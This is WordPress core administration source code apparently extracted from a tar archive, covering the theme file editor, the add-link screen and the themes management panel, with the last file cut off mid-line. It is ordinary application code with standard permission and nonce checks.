on making your theme widget-aware, please <a href="https://developer.wordpress.org/themes/functionality/widgets/">follow these instructions</a>.' ) ); } // Used in the HTML title tag. $title = __( 'Widgets' ); $parent_file = 'themes.php'; if ( wp_use_widgets_block_editor() ) { require ABSPATH . 'wp-admin/widgets-form-blocks.php'; } else { require ABSPATH . 'wp-admin/widgets-form.php'; } custom-header.php 0000644 00000000763 15233246127 0010030 0 ustar 00 <?php /** * Custom header image script. * * This file is deprecated, use 'wp-admin/includes/class-custom-image-header.php' instead. * * @deprecated 5.3.0 * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } _deprecated_file( basename( __FILE__ ), '5.3.0', 'wp-admin/includes/class-custom-image-header.php' ); /** Custom_Image_Header class */ require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php'; theme-editor.php 0000644 00000041577 15233246127 0007666 0 ustar 00 <?php /** * Theme file editor administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( is_multisite() && ! is_network_admin() ) { wp_redirect( network_admin_url( 'theme-editor.php' ) ); exit; } if ( ! current_user_can( 'edit_themes' ) ) { wp_die( '<p>' . __( 'Sorry, you are not allowed to edit templates for this site.' ) . '</p>' ); } // Used in the HTML title tag. $title = __( 'Edit Themes' ); $parent_file = 'themes.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'You can use the theme file editor to edit the individual CSS and PHP files which make up your theme.' ) . '</p>' . '<p>' . __( 'Begin by choosing a theme to edit from the dropdown menu and clicking the Select button. A list then appears of the theme’s template files. Clicking once on any file name causes the file to appear in the large Editor box.' ) . '</p>' . '<p>' . __( 'For PHP files, you can use the documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function.' ) . '</p>' . '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>' . '<ul>' . '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>' . '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>' . '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>' . '</ul>' . '<p>' . __( 'After typing in your edits, click Update File.' ) . '</p>' . '<p>' . __( '<strong>Advice:</strong> Think very carefully about your site crashing if you are live-editing the theme currently in use.' ) . '</p>' . '<p>' . sprintf( /* translators: %s: Link to documentation on child themes. */ __( 'Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a <a href="%s">child theme</a> instead.' ), __( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ) ) . '</p>' . ( is_network_admin() ? '<p>' . __( 'Any edits to files from this screen will be reflected on all sites in the network.' ) . '</p>' : '' ), ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/themes/">Documentation on Theme Development</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-theme-file-editor-screen/">Documentation on Editing Themes</a>' ) . '</p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/wordpress/edit-files/">Documentation on Editing Files</a>' ) . '</p>' . '<p>' . __( '<a href="https://developer.wordpress.org/themes/basics/template-tags/">Documentation on Template Tags</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); $action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : ''; $theme = ! empty( $_REQUEST['theme'] ) ? sanitize_text_field( $_REQUEST['theme'] ) : ''; $file = ! empty( $_REQUEST['file'] ) ? sanitize_text_field( $_REQUEST['file'] ) : ''; $error = ! empty( $_REQUEST['error'] ); if ( $theme ) { $stylesheet = $theme; } else { $stylesheet = get_stylesheet(); } $theme = wp_get_theme( $stylesheet ); if ( ! $theme->exists() ) { wp_die( __( 'The requested theme does not exist.' ) ); } if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) { wp_die( __( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message() ); } $allowed_files = array(); $style_files = array(); $file_types = wp_get_theme_file_editable_extensions( $theme ); foreach ( $file_types as $type ) { switch ( $type ) { case 'php': $allowed_files += $theme->get_files( 'php', -1 ); break; case 'css': $style_files = $theme->get_files( 'css', -1 ); $allowed_files['style.css'] = $style_files['style.css']; $allowed_files += $style_files; break; default: $allowed_files += $theme->get_files( $type, -1 ); break; } } // Move functions.php and style.css to the top. if ( isset( $allowed_files['functions.php'] ) ) { $allowed_files = array( 'functions.php' => $allowed_files['functions.php'] ) + $allowed_files; } if ( isset( $allowed_files['style.css'] ) ) { $allowed_files = array( 'style.css' => $allowed_files['style.css'] ) + $allowed_files; } if ( empty( $file ) ) { $relative_file = 'style.css'; $file = $allowed_files['style.css']; } else { $relative_file = wp_unslash( $file ); $file = $theme->get_stylesheet_directory() . '/' . $relative_file; } validate_file_to_edit( $file, $allowed_files ); // Handle fallback editing of file when JavaScript is not available. $edit_error = null; $posted_content = null; if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) { $edit_result = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); if ( is_wp_error( $edit_result ) ) { $edit_error = $edit_result; if ( check_ajax_referer( 'edit-theme_' . $stylesheet . '_' . $relative_file, 'nonce', false ) && isset( $_POST['newcontent'] ) ) { $posted_content = wp_unslash( $_POST['newcontent'] ); } } else { wp_redirect( add_query_arg( array( 'a' => 1, // This means "success" for some reason. 'theme' => $stylesheet, 'file' => $relative_file, ), admin_url( 'theme-editor.php' ) ) ); exit; } } $settings = array( 'codeEditor' => wp_enqueue_code_editor( compact( 'file' ) ), ); wp_enqueue_script( 'wp-theme-plugin-editor' ); wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'jQuery( function( $ ) { wp.themePluginEditor.init( $( "#template" ), %s ); } )', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); wp_add_inline_script( 'wp-theme-plugin-editor', 'wp.themePluginEditor.themeOrPlugin = "theme";' ); require_once ABSPATH . 'wp-admin/admin-header.php'; update_recently_edited( $file ); if ( ! is_file( $file ) ) { $error = true; } $content = ''; if ( ! empty( $posted_content ) ) { $content = $posted_content; } elseif ( ! $error && filesize( $file ) > 0 ) { $f = fopen( $file, 'r' ); $content = fread( $f, filesize( $file ) ); if ( str_ends_with( $file, '.php' ) ) { $functions = wp_doc_link_parse( $content ); if ( ! empty( $functions ) ) { $docs_select = '<select name="docs-list" id="docs-list">'; $docs_select .= '<option value="">' . esc_html__( 'Function Name…' ) . '</option>'; foreach ( $functions as $function ) { $docs_select .= '<option value="' . esc_attr( $function ) . '">' . esc_html( $function ) . '()</option>'; } $docs_select .= '</select>'; } } $content = esc_textarea( $content ); } $file_show = array_search( $file, array_filter( $allowed_files ), true ); ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <?php if ( isset( $_GET['a'] ) ) { wp_admin_notice( __( 'File edited successfully.' ), array( 'id' => 'message', 'dismissible' => true, 'additional_classes' => array( 'updated' ), ) ); } elseif ( is_wp_error( $edit_error ) ) { $error_code = esc_html( $edit_error->get_error_message() ? $edit_error->get_error_message() : $edit_error->get_error_code() ); $message = '<p>' . __( 'There was an error while trying to update the file. You may need to fix something and try updating again.' ) . '</p> <pre>' . $error_code . '</pre>'; wp_admin_notice( $message, array( 'type' => 'error', 'id' => 'message', ) ); } if ( preg_match( '/\.css$/', $file ) ) { if ( ! wp_is_block_theme() && current_user_can( 'customize' ) ) { $message = '<p><strong>' . __( 'Did you know?' ) . '</strong></p><p>' . sprintf( /* translators: %s: Link to add custom CSS section in either the Customizer (classic themes) or Site Editor (block themes). */ __( 'There is no need to change your CSS here — you can edit and live preview CSS changes in the <a href="%s">built-in CSS editor</a>.' ), esc_url( add_query_arg( 'autofocus[section]', 'custom_css', admin_url( 'customize.php' ) ) ) ) . '</p>'; wp_admin_notice( $message, array( 'type' => 'info', 'id' => 'message', ) ); } elseif ( wp_is_block_theme() && current_user_can( 'edit_theme_options' ) ) { $site_editor_url = admin_url( add_query_arg( urlencode_deep( array( 'p' => '/styles', 'section' => '/css', ) ), 'site-editor.php' ) ); $message = '<p><strong>' . __( 'Did you know?' ) . '</strong></p><p>' . sprintf( /* translators: %s: Link to add custom CSS section in either the Customizer (classic themes) or Site Editor (block themes). */ __( 'There is no need to change your CSS here — you can edit and live preview CSS changes in the <a href="%s">built-in CSS editor</a>.' ), esc_url( $site_editor_url ) ) . '</p>'; wp_admin_notice( $message, array( 'type' => 'info', 'id' => 'message', ) ); } if ( file_exists( preg_replace( '/\.css$/', '.min.css', $file ) ) ) { $message = '<p><strong>' . __( 'There is a minified version of this stylesheet.' ) . '</strong></p><p>' . __( 'It is likely that this unminified stylesheet will not be served to visitors.' ) . '</p>'; wp_admin_notice( $message, array( 'type' => 'warning', 'id' => 'wp-css-min-warning', ) ); } } ?> <div class="fileedit-sub"> <div class="alignleft"> <h2> <?php if ( wp_get_theme()->get( 'Name' ) === $theme->display( 'Name' ) ) { /* translators: %s: Theme name. */ printf( __( 'Editing %s (active)' ), '<strong>' . $theme->display( 'Name' ) . '</strong>' ); } else { /* translators: %s: Theme name. */ printf( __( 'Editing %s (inactive)' ), '<strong>' . $theme->display( 'Name' ) . '</strong>' ); } ?> </h2> <?php printf( /* translators: %s: File path. */ ' <span><strong>' . __( 'File: %s' ) . '</strong></span>', esc_html( $file_show ) ); ?> </div> <div class="alignright"> <form action="theme-editor.php" method="get"> <label for="theme" id="theme-plugin-editor-selector"><?php _e( 'Select theme to edit:' ); ?> </label> <select name="theme" id="theme"> <?php foreach ( wp_get_themes( array( 'errors' => null ) ) as $a_stylesheet => $a_theme ) { if ( $a_theme->errors() && 'theme_no_stylesheet' === $a_theme->errors()->get_error_code() ) { continue; } $selected = ( $a_stylesheet === $stylesheet ) ? ' selected="selected"' : ''; echo "\n\t" . '<option value="' . esc_attr( $a_stylesheet ) . '"' . $selected . '>' . $a_theme->display( 'Name' ) . '</option>'; } ?> </select> <?php submit_button( __( 'Select' ), '', 'Submit', false ); ?> </form> </div> <br class="clear" /> </div> <?php if ( $theme->errors() ) { wp_admin_notice( '<strong>' . __( 'This theme is broken.' ) . '</strong> ' . $theme->errors()->get_error_message(), array( 'additional_classes' => array( 'error' ), ) ); } ?> <div id="templateside"> <h2 id="theme-files-label"><?php _e( 'Theme Files' ); ?></h2> <ul role="tree" aria-labelledby="theme-files-label"> <?php if ( $theme->parent() ) : ?> <li class="howto"> <?php printf( /* translators: %s: Link to edit parent theme. */ __( 'This child theme inherits templates from a parent theme, %s.' ), sprintf( '<a href="%s">%s</a>', self_admin_url( 'theme-editor.php?theme=' . urlencode( $theme->get_template() ) ), $theme->parent()->display( 'Name' ) ) ); ?> </li> <?php endif; ?> <li role="treeitem" tabindex="-1" aria-expanded="true" aria-level="1" aria-posinset="1" aria-setsize="1"> <ul role="group"> <?php wp_print_theme_file_tree( wp_make_theme_file_tree( $allowed_files ) ); ?> </ul> </li> </ul> </div> <?php if ( $error ) : wp_admin_notice( __( 'File does not exist! Please double check the name and try again.' ), array( 'additional_classes' => array( 'error' ), ) ); else : ?> <form name="template" id="template" action="theme-editor.php" method="post"> <?php wp_nonce_field( 'edit-theme_' . $stylesheet . '_' . $relative_file, 'nonce' ); ?> <div> <label for="newcontent" id="theme-plugin-editor-label"><?php _e( 'Selected file content:' ); ?></label> <textarea cols="70" rows="30" name="newcontent" id="newcontent" aria-describedby="editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"><?php echo $content; ?></textarea> <input type="hidden" name="action" value="update" /> <input type="hidden" name="file" value="<?php echo esc_attr( $relative_file ); ?>" /> <input type="hidden" name="theme" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" /> </div> <?php if ( ! empty( $functions ) ) : ?> <div id="documentation" class="hide-if-no-js"> <label for="docs-list"><?php _e( 'Documentation:' ); ?></label> <?php echo $docs_select; ?> <input disabled id="docs-lookup" type="button" class="button" value="<?php esc_attr_e( 'Look Up' ); ?>" onclick="if ( '' !== jQuery('#docs-list').val() ) { window.open( 'https://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&locale=<?php echo urlencode( get_user_locale() ); ?>&version=<?php echo urlencode( get_bloginfo( 'version' ) ); ?>&redirect=true'); }" /> </div> <?php endif; ?> <div> <div class="editor-notices"> <?php if ( is_child_theme() && $theme->get_stylesheet() === get_template() ) : $message = ( is_writable( $file ) ) ? '<strong>' . __( 'Caution:' ) . '</strong> ' : ''; $message .= __( 'This is a file in your current parent theme.' ); wp_admin_notice( $message, array( 'type' => 'warning', 'additional_classes' => array( 'inline' ), ) ); endif; ?> </div> <?php if ( is_writable( $file ) ) { ?> <p class="submit"> <?php submit_button( __( 'Update File' ), 'primary', 'submit', false ); ?> <span class="spinner"></span> </p> <?php } else { ?> <p> <?php printf( /* translators: %s: Documentation URL. */ __( 'You need to make this file writable before you can save your changes. See <a href="%s">Changing File Permissions</a> for more information.' ), __( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' ) ); ?> </p> <?php } ?> </div> <?php wp_print_file_editor_templates(); ?> </form> <?php endif; // End if $error. ?> <br class="clear" /> </div> <?php $dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ); if ( ! in_array( 'theme_editor_notice', $dismissed_pointers, true ) ) { // Get a back URL. $referer = wp_get_referer(); $excluded_referer_basenames = array( 'theme-editor.php', 'wp-login.php' ); $return_url = admin_url( '/' ); if ( $referer ) { $referer_path = parse_url( $referer, PHP_URL_PATH ); if ( is_string( $referer_path ) && ! in_array( basename( $referer_path ), $excluded_referer_basenames, true ) ) { $return_url = $referer; } } ?> <div id="file-editor-warning" class="notification-dialog-wrap file-editor-warning hide-if-no-js hidden"> <div class="notification-dialog-background"></div> <div class="notification-dialog"> <div class="file-editor-warning-content"> <div class="file-editor-warning-message"> <h1><?php _e( 'Heads up!' ); ?></h1> <p> <?php _e( 'You appear to be making direct edits to your theme in the WordPress dashboard. It is not recommended! Editing your theme directly could break your site and your changes may be lost in future updates.' ); ?> </p> <?php if ( ! $theme->parent() ) { echo '<p>'; printf( /* translators: %s: Link to documentation on child themes. */ __( 'If you need to tweak more than your theme’s CSS, you might want to try <a href="%s">making a child theme</a>.' ), esc_url( __( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ) ) ); echo '</p>'; } ?> <p><?php _e( 'If you decide to go ahead with direct edits anyway, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong.' ); ?></p> </div> <p> <a class="button file-editor-warning-go-back" href="<?php echo esc_url( $return_url ); ?>"><?php _e( 'Go back' ); ?></a> <button type="button" class="file-editor-warning-dismiss button button-primary"><?php _e( 'I understand' ); ?></button> </p> </div> </div> </div> <?php } // Editor warning notice. require_once ABSPATH . 'wp-admin/admin-footer.php'; link-add.php 0000644 00000001646 15233246127 0006754 0 ustar 00 <?php /** * Add Link Administration Screen. * * @package WordPress * @subpackage Administration */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_links' ) ) { wp_die( __( 'Sorry, you are not allowed to add links to this site.' ) ); } // Used in the HTML title tag. $title = __( 'Add Link' ); $parent_file = 'link-manager.php'; $action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : ''; $cat_id = ! empty( $_REQUEST['cat_id'] ) ? absint( $_REQUEST['cat_id'] ) : 0; $link_id = ! empty( $_REQUEST['link_id'] ) ? absint( $_REQUEST['link_id'] ) : 0; wp_enqueue_script( 'link' ); wp_enqueue_script( 'xfn' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } $link = get_default_link_to_edit(); require ABSPATH . 'wp-admin/edit-link-form.php'; require_once ABSPATH . 'wp-admin/admin-footer.php'; themes.php 0000644 00000140375 15233246127 0006561 0 ustar 00 <?php /** * Themes administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>', 403 ); } if ( current_user_can( 'switch_themes' ) && isset( $_GET['action'] ) ) { if ( 'activate' === $_GET['action'] ) { check_admin_referer( 'switch-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! $theme->exists() || ! $theme->is_allowed() ) { wp_die( '<h1>' . __( 'An error occurred.' ) . '</h1>' . '<p>' . __( 'The requested theme does not exist.' ) . '</p>', 403 ); } switch_theme( $theme->get_stylesheet() ); wp_redirect( admin_url( 'themes.php?activated=true' ) ); exit; } elseif ( 'resume' === $_GET['action'] ) { check_admin_referer( 'resume-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! current_user_can( 'resume_theme', $_GET['stylesheet'] ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to resume this theme.' ) . '</p>', 403 ); } $result = resume_theme( $theme->get_stylesheet(), self_admin_url( 'themes.php?error=resuming' ) ); if ( is_wp_error( $result ) ) { wp_die( $result ); } wp_redirect( admin_url( 'themes.php?resumed=true' ) ); exit; } elseif ( 'delete' === $_GET['action'] ) { check_admin_referer( 'delete-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! current_user_can( 'delete_themes' ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>', 403 ); } if ( ! $theme->exists() ) { wp_die( '<h1>' . __( 'An error occurred while deleting the theme.' ) . '</h1>' . '<p>' . __( 'The requested theme does not exist.' ) . '</p>', 403 ); } $active = wp_get_theme(); if ( $active->get( 'Template' ) === $_GET['stylesheet'] ) { wp_redirect( admin_url( 'themes.php?delete-active-child=true' ) ); } else { delete_theme( $_GET['stylesheet'] ); wp_redirect( admin_url( 'themes.php?deleted=true' ) ); } exit; } elseif ( 'enable-auto-update' === $_GET['action'] ) { if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to enable themes automatic updates.' ) ); } check_admin_referer( 'updates' ); $all_items = wp_get_themes(); $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); $auto_updates[] = $_GET['stylesheet']; $auto_updates = array_unique( $auto_updates ); // Remove themes that have been deleted since the site option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_redirect( admin_url( 'themes.php?enabled-auto-update=true' ) ); exit; } elseif ( 'disable-auto-update' === $_GET['action'] ) { if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) { wp_die( __( 'Sorry, you are not allowed to disable themes automatic updates.' ) ); } check_admin_referer( 'updates' ); $all_items = wp_get_themes(); $auto_updates = (array) get_site_option( 'auto_update_themes', array() ); $auto_updates = array_diff( $auto_updates, array( $_GET['stylesheet'] ) ); // Remove themes that have been deleted since the site option was last updated. $auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) ); update_site_option( 'auto_update_themes', $auto_updates ); wp_redirect( admin_url( 'themes.php?disabled-auto-update=true' ) ); exit; } } // Used in the HTML title tag. $title = __( 'Themes' ); $parent_file = 'themes.php'; // Help tab: Overview. if ( current_user_can( 'switch_themes' ) ) { $help_overview = '<p>' . __( 'This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties.' ) . '</p>' . '<p>' . __( 'From this screen you can:' ) . '</p>' . '<ul><li>' . __( 'Hover or tap to see Activate and Live Preview buttons' ) . '</li>' . '<li>' . __( 'Click on the theme to see the theme name, version, author, description, tags, and the Delete link' ) . '</li>' . '<li>' . __( 'Click Customize for the active theme or Live Preview for any other theme to see a live preview' ) . '</li></ul>' . '<p>' . __( 'The active theme is displayed highlighted as the first theme.' ) . '</p>' . '<p>' . __( 'The search for installed themes will search for terms in their name, description, author, or tag.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help_overview, ) ); } // End if 'switch_themes'. // Help tab: Adding Themes. if ( current_user_can( 'install_themes' ) ) { if ( is_multisite() ) { $help_install = '<p>' . __( 'Installing themes on Multisite can only be done from the Network Admin section.' ) . '</p>'; } else { $help_install = '<p>' . sprintf( /* translators: %s: https://wordpress.org/themes/ */ __( 'If you would like to see more themes to choose from, click on the “Add Theme” button and you will be able to browse or search for additional themes from the <a href="%s">WordPress Theme Directory</a>. Themes in the WordPress Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they are free!' ), __( 'https://wordpress.org/themes/' ) ) . '</p>'; } get_current_screen()->add_help_tab( array( 'id' => 'adding-themes', 'title' => __( 'Adding Themes' ), 'content' => $help_install, ) ); } // End if 'install_themes'. // Help tab: Previewing and Customizing. if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { $help_customize = '<p>' . __( 'Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.' ) . '</p>' . '<p>' . __( 'The theme being previewed is fully interactive — navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Activate & Publish button above the menu.' ) . '</p>' . '<p>' . __( 'When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'customize-preview-themes', 'title' => __( 'Previewing and Customizing' ), 'content' => $help_customize, ) ); } // End if 'edit_theme_options' && 'customize'. $help_sidebar_autoupdates = ''; // Help tab: Auto-updates. if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) { $help_tab_autoupdates = '<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' . '<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'plugins-themes-auto-updates', 'title' => __( 'Auto-updates' ), 'content' => $help_tab_autoupdates, ) ); $help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>'; } // End if 'update_themes' && 'wp_is_auto_update_enabled_for_type'. get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/work-with-themes/">Documentation on Using Themes</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-themes-screen/">Documentation on Managing Themes</a>' ) . '</p>' . $help_sidebar_autoupdates . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); if ( current_user_can( 'switch_themes' ) ) { $themes = wp_prepare_themes_for_js(); } else { $themes = wp_prepare_themes_for_js( array( wp_get_theme() ) ); } $theme = ! empty( $_REQUEST['theme'] ) ? sanitize_text_field( $_REQUEST['theme'] ) : ''; $search = ! empty( $_REQUEST['search'] ) ? sanitize_text_field( $_REQUEST['search'] ) : ''; wp_localize_script( 'theme', '_wpThemeSettings', array( 'themes' => $themes, 'settings' => array( 'canInstall' => ( ! is_multisite() && current_user_can( 'install_themes' ) ), 'installURI' => ( ! is_multisite() && current_user_can( 'install_themes' ) ) ? admin_url( 'theme-install.php' ) : null, 'confirmDelete' => __( "Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete." ), 'adminUrl' => parse_url( admin_url(), PHP_URL_PATH ), ), 'l10n' => array( 'addNew' => __( 'Add Theme' ), 'search' => __( 'Search installed themes' ), /* translators: %d: Number of themes. */ 'themesFound' => __( 'Number of Themes found: %d' ), 'noThemesFound' => __( 'No themes found. Try a different search.' ), ), ) ); add_thickbox(); wp_enqueue_script( 'theme' ); wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php esc_html_e( 'Themes' ); ?> <span class="title-count theme-count"><?php echo ! empty( $_GET['search'] ) ? __( '…' ) : count( $themes ); ?></span> </h1> <?php if ( ! is_multisite() && current_user_can( 'install_themes' ) ) : ?> <a href="<?php echo esc_url( admin_url( 'theme-install.php' ) ); ?>" class="hide-if-no-js page-title-action"><?php echo esc_html__( 'Add Theme' ); ?></a> <?php endif; ?> <hr class="wp-header-end"> <form class="search-form search-themes"><p class="search-box"></p></form> <?php if ( ! validate_current_theme() || isset( $_GET['broken'] ) ) { wp_admin_notice( __( 'The active theme is broken. Reverting to the default theme.' ), array( 'id' => 'message1', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['activated'] ) ) { if ( isset( $_GET['previewed'] ) ) { wp_admin_notice( __( 'Settings saved and theme activated.' ) . ' <a href="' . esc_url( home_url( '/' ) ) . '">' . __( 'Visit site' ) . '</a>', array( 'id' => 'message2', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } else { wp_admin_notice( __( 'New theme activated.' ) . ' <a href="' . esc_url( home_url( '/' ) ) . '">' . __( 'Visit site' ) . '</a>', array( 'id' => 'message2', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } } elseif ( isset( $_GET['deleted'] ) ) { wp_admin_notice( __( 'Theme deleted.' ), array( 'id' => 'message3', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['delete-active-child'] ) ) { wp_admin_notice( __( 'You cannot delete a theme while it has an active child theme.' ), array( 'id' => 'message4', 'additional_classes' => array( 'error' ), ) ); } elseif ( isset( $_GET['resumed'] ) ) { wp_admin_notice( __( 'Theme resumed.' ), array( 'id' => 'message5', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['error'] ) && 'resuming' === $_GET['error'] ) { wp_admin_notice( __( 'Theme could not be resumed because it triggered a <strong>fatal error</strong>.' ), array( 'id' => 'message6', 'additional_classes' => array( 'error' ), ) ); } elseif ( isset( $_GET['enabled-auto-update'] ) ) { wp_admin_notice( __( 'Theme will be auto-updated.' ), array( 'id' => 'message7', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } elseif ( isset( $_GET['disabled-auto-update'] ) ) { wp_admin_notice( __( 'Theme will no longer be auto-updated.' ), array( 'id' => 'message8', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } $current_theme = wp_get_theme(); if ( $current_theme->errors() && ( ! is_multisite() || current_user_can( 'manage_network_themes' ) ) ) { wp_admin_notice( '<strong>' . __( 'Error:' ) . '</strong> ' . $current_theme->errors()->get_error_message(), array( 'additional_classes' => array( 'error' ), ) ); } $current_theme_actions = array(); if ( is_array( $submenu ) && isset( $submenu['themes.php'] ) ) { $forbidden_paths = array( 'themes.php', 'theme-editor.php', 'site-editor.php', 'edit.php?post_type=wp_navigation', ); foreach ( (array) $submenu['themes.php'] as $item ) { $class = ''; if ( in_array( $item[2], $forbidden_paths, true ) || str_starts_with( $item[2], 'customize.php' ) ) { continue; } // 0 = name, 1 = capability, 2 = file. if ( 0 === strcmp( $self, $item[2] ) && empty( $parent_file ) || $parent_file && $item[2] === $parent_file ) { $class = ' current'; } if ( ! empty( $submenu[ $item[2] ] ) ) { $submenu[ $item[2] ] = array_values( $submenu[ $item[2] ] ); // Re-index. $menu_hook = get_plugin_page_hook( $submenu[ $item[2] ][0][2], $item[2] ); if ( file_exists( WP_PLUGIN_DIR . "/{$submenu[$item[2]][0][2]}" ) || ! empty( $menu_hook ) ) { $current_theme_actions[] = "<a class='button button-compact$class' href='admin.php?page={$submenu[$item[2]][0][2]}'>{$item[0]}</a>"; } else { $current_theme_actions[] = "<a class='button button-compact$class' href='{$submenu[$item[2]][0][2]}'>{$item[0]}</a>"; } } elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) { $menu_file = $item[2]; if ( current_user_can( 'customize' ) ) { if ( 'custom-header' === $menu_file ) { $current_theme_actions[] = "<a class='button button-compact hide-if-no-customize$class' href='customize.php?autofocus[control]=header_image'>{$item[0]}</a>"; } elseif ( 'custom-background' === $menu_file ) { $current_theme_actions[] = "<a class='button button-compact hide-if-no-customize$class' href='customize.php?autofocus[control]=background_image'>{$item[0]}</a>"; } } $pos = strpos( $menu_file, '?' ); if ( false !== $pos ) { $menu_file = substr( $menu_file, 0, $pos ); } if ( file_exists( ABSPATH . "wp-admin/$menu_file" ) ) { $current_theme_actions[] = "<a class='button button-compact$class' href='{$item[2]}'>{$item[0]}</a>"; } else { $current_theme_actions[] = "<a class='button button-compact$class' 